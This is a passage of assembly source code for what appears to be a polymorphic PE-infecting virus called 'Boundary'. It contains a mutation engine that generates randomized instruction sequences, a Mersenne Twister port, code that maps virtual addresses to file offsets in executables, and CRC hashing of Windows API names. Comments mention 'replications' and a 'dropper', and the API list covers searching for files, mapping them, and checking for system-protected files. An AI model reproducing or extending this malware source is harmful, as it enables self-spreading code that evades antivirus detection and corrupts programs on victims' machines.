;-----------------------------------------------------------------------------

        call    r10
        and     al, 38h
        jrcxz   poly_random
        cmp     al, OP_ADC
        je      short poly_carry
        cmp     al, OP_SBB
        jne     short poly_random

poly_carry:
        cmp     byte [rsi + known_carry], bh
        jne     short poly_random
        cmp     qword [rbx * 8 + rsi + unknown], -1
        jne     short poly_op

poly_random:
        xchg    edx, eax
        call    r10
        xchg    ebp, eax
        jrcxz   poly_cmpesp
        mov     eax, dword [rbx * 4 + rsi + vals]
        test    dl, dl ;cmp dl, OP_ADD
        je      short poly_signed
        cmp     dl, OP_ADC
        jne     short poly_subsign
        add     eax, dword [rsi + carry]
        jmp     short poly_signed

poly_subsign:
        cmp     dl, OP_SUB
        je      short poly_sbbsign
        cmp     dl, OP_SBB
        jne     short poly_cmpesp
        sub     eax, dword [rsi + carry]

poly_sbbsign:
        neg     eax
        je      short poly_op                   ;avoid hidden overflow

poly_signed:
        add     eax, ebp
        js      short poly_op                   ;work with only 31-bit values
        jb      short poly_op                   ;avoid sub overflow

poly_cmpesp:
        cmp     bl, REG_ESP
        jne     short poly_jmpstore
        mov     eax, dword [rsi + esp_delta]
        cmp     dl, OP_OR
        jne     short poly_tryand

;-----------------------------------------------------------------------------
;or rsp, 0-1 (if original value, else or rsp, 0)
;-----------------------------------------------------------------------------

        cmp     eax, 1
        sbb     eax, eax
        and     eax, 1
        and     ebp, eax
        jrcxz   poly_store
        add     dword [rsi + esp_delta], ebp

poly_jmpstore:
        jmp     short poly_store

poly_tryand:
        cmp     dl, OP_AND
        jne     short poly_trycmp

;-----------------------------------------------------------------------------
;and rsp, fffffffe-ffffffff (if original value, else and rsp, ffffffff)
;-----------------------------------------------------------------------------

        cmp     eax, 1
        cmc
        sbb     eax, eax
        or      eax, -2
        or      ebp, eax
        jrcxz   poly_store
        and     dword [rsi + esp_delta], ebp
        jmp     short poly_store

poly_trycmp:

;-----------------------------------------------------------------------------
;operation is new if delta is 0, or if switching to or from XOR
;(allow all ADD/SUBs or XORs to combine)
;-----------------------------------------------------------------------------

        cmp     dl, OP_CMP
        je      short poly_store
        test    eax, eax
        je      short poly_prevop
        mov     dh, byte [rsi + prev_op]
        cmp     dh, dl
        je      short poly_store
        cmp     dh, OP_XOR
        je      short poly_revert
        cmp     dl, OP_XOR
        jne     short poly_store

poly_revert:

;-----------------------------------------------------------------------------
;revert RSP and allow future changes
;-----------------------------------------------------------------------------

        xchg    ebp, eax
        mov     dl, dh
        cmp     dh, OP_XOR
        je      short poly_store
        mov     dl, OP_SUB
        call    r10
        test    al, 1
        je      short poly_adcsbb

;-----------------------------------------------------------------------------
;randomly SUB->ADD
;-----------------------------------------------------------------------------

        xor     dl, dl
        neg     ebp

poly_adcsbb:
        cmp     byte [rsi + known_carry], bh
        je      short poly_prevop
        call    r10
        and     al, 8
        je      short poly_prevop

;-----------------------------------------------------------------------------
;randomly ADC/SBB if carry is known
;-----------------------------------------------------------------------------

        and     dl, al
        add     dl, 10h
        sub     ebp, dword [rsi + carry]

poly_prevop:
        mov     byte [rsi + prev_op], dl

poly_store:
        mov     al, 48h
        stosb
        mov     ax, 0c081h
        add     ah, bl
        add     ah, dl
        stosw
        xchg    ebp, eax
        stosd
        xchg    edx, eax
        xor     ah, ah
        mov     ebp, dword [rbx * 4 + rsi + vals]
        test    al, al ;cmp al, OP_ADD
        je      short poly_add
        cmp     al, OP_ADC
        jne     short poly_trysub
        add     edx, dword [rsi + carry]
        cmp     bl, REG_ESP
        jne     short poly_add
        mov     byte [rsi + prev_op], bh ;OP_ADD

poly_add:
        add     dword [rbx * 4 + rsi + vals], edx

;-----------------------------------------------------------------------------
;if all bits are known, carry can be determined exactly
;-----------------------------------------------------------------------------

        cmp     qword [rbx * 8 + rsi + unknown], 0
        jne     short poly_addesp
        mov     ah, 1
        cmp     dword [rbx * 4 + rsi + vals], ebp
        setb    al

poly_addesp:

;-----------------------------------------------------------------------------
;disable RSP undo when in random mode
;-----------------------------------------------------------------------------

        jrcxz   poly_jmpret
        cmp     bl, REG_ESP
        jne     short poly_jmpret
        add     dword [rsi + esp_delta], edx
        jmp     short poly_jmpret

poly_trysub:
        cmp     al, OP_SUB
        je      short poly_sub
        cmp     al, OP_SBB
        jne     short poly_or
        add     edx, dword [rsi + carry]

poly_sub:
        sub     dword [rbx * 4 + rsi + vals], edx

;-----------------------------------------------------------------------------
;if all bits are known, carry can be determined exactly
;-----------------------------------------------------------------------------

        cmp     qword [rbx * 8 + rsi + unknown], 0
        jne     short poly_subesp
        mov     ah, 1
        cmp     dword [rbx * 4 + rsi + vals], ebp
        setnbe  al

poly_subesp:

;-----------------------------------------------------------------------------
;disable RSP undo when in random mode
;-----------------------------------------------------------------------------

        jrcxz   poly_ret
        cmp     bl, REG_ESP
        jne     short poly_ret
        mov     byte [rsi + prev_op], bh ;OP_ADD
        sub     dword [rsi + esp_delta], edx

poly_jmpret:
        jmp     short poly_ret

poly_or:
        cmp     al, OP_OR
        jne     short poly_and
        or      dword [rbx * 4 + rsi + vals], edx

;-----------------------------------------------------------------------------
;all set bits become known
;-----------------------------------------------------------------------------

        not     edx
        jmp     short poly_unknown

poly_and:
        cmp     al, OP_AND
        jne     short poly_xor
        and     dword [rbx * 4 + rsi + vals], edx

;-----------------------------------------------------------------------------
;all clear bits become known
;-----------------------------------------------------------------------------

poly_unknown:
        and     qword [rbx * 8 + rsi + unknown], rdx
        jmp     short poly_known

poly_xor:
        cmp     al, OP_XOR
        jne     short poly_cmp
        xor     dword [rbx * 4 + rsi + vals], edx

;-----------------------------------------------------------------------------
;disable RSP undo when in random mode
;-----------------------------------------------------------------------------

        jrcxz   poly_known
        cmp     bl, REG_ESP
        jne     short poly_known
        xor     dword [rsi + esp_delta], edx

poly_known:
        xor     al, al
        jmp     short poly_setcarry

poly_cmp:

;-----------------------------------------------------------------------------
;if all bits are known, carry can be determined exactly
;if top bit is known and different, carry can be guessed
;-----------------------------------------------------------------------------

        mov     rcx, qword [rbx * 8 + rsi + unknown]
        jrcxz   poly_cmpset
        test    ecx, ecx
        js      short poly_ret
        xor     ebp, edx
        jns     short poly_ret
        xor     ebp, edx

poly_cmpset:
        cmp     ebp, edx
        setb    al

poly_setcarry:
        mov     ah, 1

poly_ret:
        xchg    ah, al
        mov     word [rsi + known_carry], ax
        pop     rbp
        pop     rcx
        pop     rax
        ret
;poly            endp

;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------

randinit:                                       ;eax = seed, ecx = 0, rdi -> RNG cache
        push    rax
        push    rcx
        push    rdx
        push    rdi
        push    rdi
        or      eax, 1
        mov     ecx, statelen

init_loop:
        stosd
        mov     edx, 69069
        mul     edx                             ;Knuth: x_new = x_old * 69069
        loop    init_loop
        inc     ecx                             ;force reload
        xchg    ecx, eax
        lea     rdi, qword [RIP + randvars - $ - 7]
        stosd
        pop     rax
        stosq
        stosq
        pop     rdi
        pop     rdx
        pop     rcx
        pop     rax
        ret
;randinit        endp

random:
        push    rbx
        push    rcx
        push    rdx
        push    rsi
        push    rdi
        call    randelta

randvars:
        db      'rgb!'                          ;numbers left
        db      'rgb!rgb!'                      ;next pointer
        db      'rgb!rgb!'                      ;state pointer

randelta:
        pop     rsi
        push    rsi
        lodsd
        xchg    ecx, eax
        lodsq
        xchg    rsi, rax
        loop    random_ret
        mov     cx, statelen - period
        mov     rsi, qword [rax]
        lea     rbx, qword [rsi + (period * 4)]
        push    rsi
        pop     rdi
        push    rsi
        lodsd
        xchg    edx, eax
        call    twist
        pop     rbx
        mov     cx, period - 1
        push    rcx
        push    rbx
        call    twist
        pop     rsi
        push    rsi
        inc     ecx
        call    twist
        xchg    edx, eax
        pop     rsi
        pop     rcx
        inc     ecx

random_ret:
        lodsd
        mov     edx, eax
        shr     eax, tshiftU
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftS
        and     eax, tmaskB
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftT
        and     eax, tmaskC
        xor     eax, edx
        mov     edx, eax
        shr     eax, tshiftL
        xor     eax, edx
        pop     rdi
        xchg    ecx, eax
        stosd
        xchg    rsi, rax
        stosq
        xchg    ecx, eax
        btr     eax, 1fh                        ;work with only 31-bit values
        pop     rdi
        pop     rsi
        pop     rdx
        pop     rcx
        pop     rbx
        ret
;random          endp

twist:
        lodsd
        push    rax
        add     eax, eax                        ;remove highest bit
        add     edx, edx                        ;test highest bit
        rcr     eax, 2                          ;merge bits and test lowest bit
        jnb     twist_skip                      ;remove branch but larger using:
        xor     eax, matrixA                    ;sbb edx, edx+and edx, matrixA+xor eax, edx

twist_skip:
        xor     eax, dword [rbx]
        add     rbx, 4
        stosd
        pop     rdx
        loop    twist
        ret
;twist           endp

adjust_val:
        push    rcx
        push    rbp
        mov     ecx, eax
        mov     r11d, eax
        xchg    dword [rbx * 4 + rsi + vals], eax
        xchg    ebp, eax

;-----------------------------------------------------------------------------
;perform multi-pass adjustment for > 31-bit deltas
;-----------------------------------------------------------------------------

adjust_part:
        mov     al, 48h
        stosb
        cmp     bl, REG_ESP
        je      adjust_save
        mov     edx, ebp
        sub     edx, ecx
        sbb     eax, eax
        xor     edx, eax
        jns     adjust_save
        shr     ecx, 1
        test    eax, eax
        jne     adjust_save
        dec     eax
        shr     eax, 1
        xchg    ecx, eax

adjust_save:
        push    rcx

adjust_op:

;-----------------------------------------------------------------------------
;avoid unusable instructions, including XOR if register is RSP, and ADC/SBB if carry is not known
;-----------------------------------------------------------------------------

        call    r10
        and     al, 38h
        cmp     al, OP_OR
        je      short adjust_op
        cmp     al, OP_AND
        je      short adjust_op
        cmp     al, OP_CMP
        je      short adjust_op
        cmp     al, OP_XOR
        jne     short check_adcsbb
        cmp     bl, REG_ESP
        jmp     short loop_adjust

check_adcsbb:
        cmp     al, OP_ADC
        je      short adjust_carry
        cmp     al, OP_SBB
        jne     short check_adjust

adjust_carry:
        cmp     byte [rsi + known_carry], bh

loop_adjust:
        je      short adjust_op
        cmp     bl, REG_ESP
        je      short do_adjust

check_adjust:
        mov     edx, ecx
        test    al, al ;cmp al, OP_ADD
        je      short adjust_addsign
        cmp     al, OP_ADC
        jne     short adjust_subsign
        sub     edx, dword [rsi + carry]

adjust_addsign:
        cmp     edx, ebp
        jmp     adjust_signed

adjust_xorsign:
        xor     edx, ebp
        js      adjust_op
        jmp     do_adjust

adjust_subsign:
        cmp     al, OP_SUB
        je      short adjust_cmpsign
        cmp     al, OP_SBB
        jne     short adjust_xorsign
        add     edx, dword [rsi + carry]

adjust_cmpsign:
        cmp     ebp, edx

adjust_signed:
        jb      short adjust_op                 ;avoid sub overflow

do_adjust:
        xor     edx, edx
        test    al, al ;cmp al, OP_ADD
        je      short adjust_add
        cmp     al, OP_ADC
        jne     short adjust_trysub
        sub     ecx, dword [rsi + carry]

adjust_add:
        cmp     bl, REG_ESP
        je      short adjust_adc
        inc     edx
        cmp     ecx, ebp
        setb    dh

adjust_adc:
        sub     ecx, ebp
        jmp     short store_adjust

adjust_trysub:
        cmp     al, OP_SUB
        je      short adjust_sub
        cmp     al, OP_SBB
        jne     short adjust_xor
        add     ecx, dword [rsi + carry]

adjust_sub:
        cmp     bl, REG_ESP
        je      short adjust_sbb
        inc     edx
        cmp     ecx, ebp
        setnbe  dh

adjust_sbb:
        neg     ecx
        add     ecx, ebp
        jmp     short store_adjust

adjust_xor:
        inc     edx
        xor     ecx, ebp

store_adjust:
        mov     dword [rsi + known_carry], edx
        add     al, 0c0h
        add     al, bl
        mov     ah, 81h
        xchg    al, ah
        stosw
        xchg    ecx, eax
        stosd
        pop     rbp
        mov     ecx, r11d
        cmp     ecx, ebp
        jne     adjust_part
        pop     rbp
        pop     rcx
        ret
;adjust_val      endp

;-----------------------------------------------------------------------------
;convert relative virtual address to raw file offset
;-----------------------------------------------------------------------------

rvaloop:
        sub     rsi, byte pesect_size
        db      3ch                             ;mask PUSH RSI
rva2raw:                                        ;ecx = RVA, rsi -> last section header
        push    rsi
        cmp     dword [rsi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
        jnbe    rvaloop
        sub     ecx, dword [rsi + pesect.sectvirtaddr - pesect.sectrawaddr]
        add     ecx, dword [rsi]
        pop     rsi
        ret
;rva2raw        endp

boundary_codeend:

create_crcs:
        or      eax, -1

create_outer:
        xor     al, byte [ebx]
        push    byte 8
        pop     rcx

create_inner:
        add     eax, eax
        jnb     create_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

create_skip:
        loop    create_inner
        sub     cl, byte [ebx]                  ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      create_outer
        stosd
        dec     edx
        jne     create_crcs
        ret
;create_crcs     endp

;must be alphabetical order
;API names are not present in replications, only in dropper

krnnames:       db      "CloseHandle"         , 0
                db      "CreateFileMappingA"  , 0
                db      "CreateFileW"         , 0
                db      "ExitProcess"         , 0
                db      "FindClose"           , 0
                db      "FindFirstFileW"      , 0
                db      "FindNextFileW"       , 0
                db      "GetFullPathNameW"    , 0
                db      "GetModuleHandleA"    , 0
                db      "GetTickCount"        , 0
                db      "GlobalAlloc"         , 0
                db      "GlobalFree"          , 0
                db      "LoadLibraryA"        , 0
                db      "MapViewOfFile"       , 0
                db      "SetCurrentDirectoryA", 0
                db      "SetCurrentDirectoryW", 0
                db      "SetFileAttributesW"  , 0
                db      "SetFileTime"         , 0
                db      "UnmapViewOfFile"     , 0
                db      "VirtualAlloc"        , 0
                db      "VirtualFree"         , 0

ntdnames:       db      "RtlAddVectoredExceptionHandler"   , 0
                db      "RtlRemoveVectoredExceptionHandler", 0

sfcnames        db      "SfcIsFileProtected", 0

txttitle        db      "Boundary", 0
txtbody         db      "running...", 0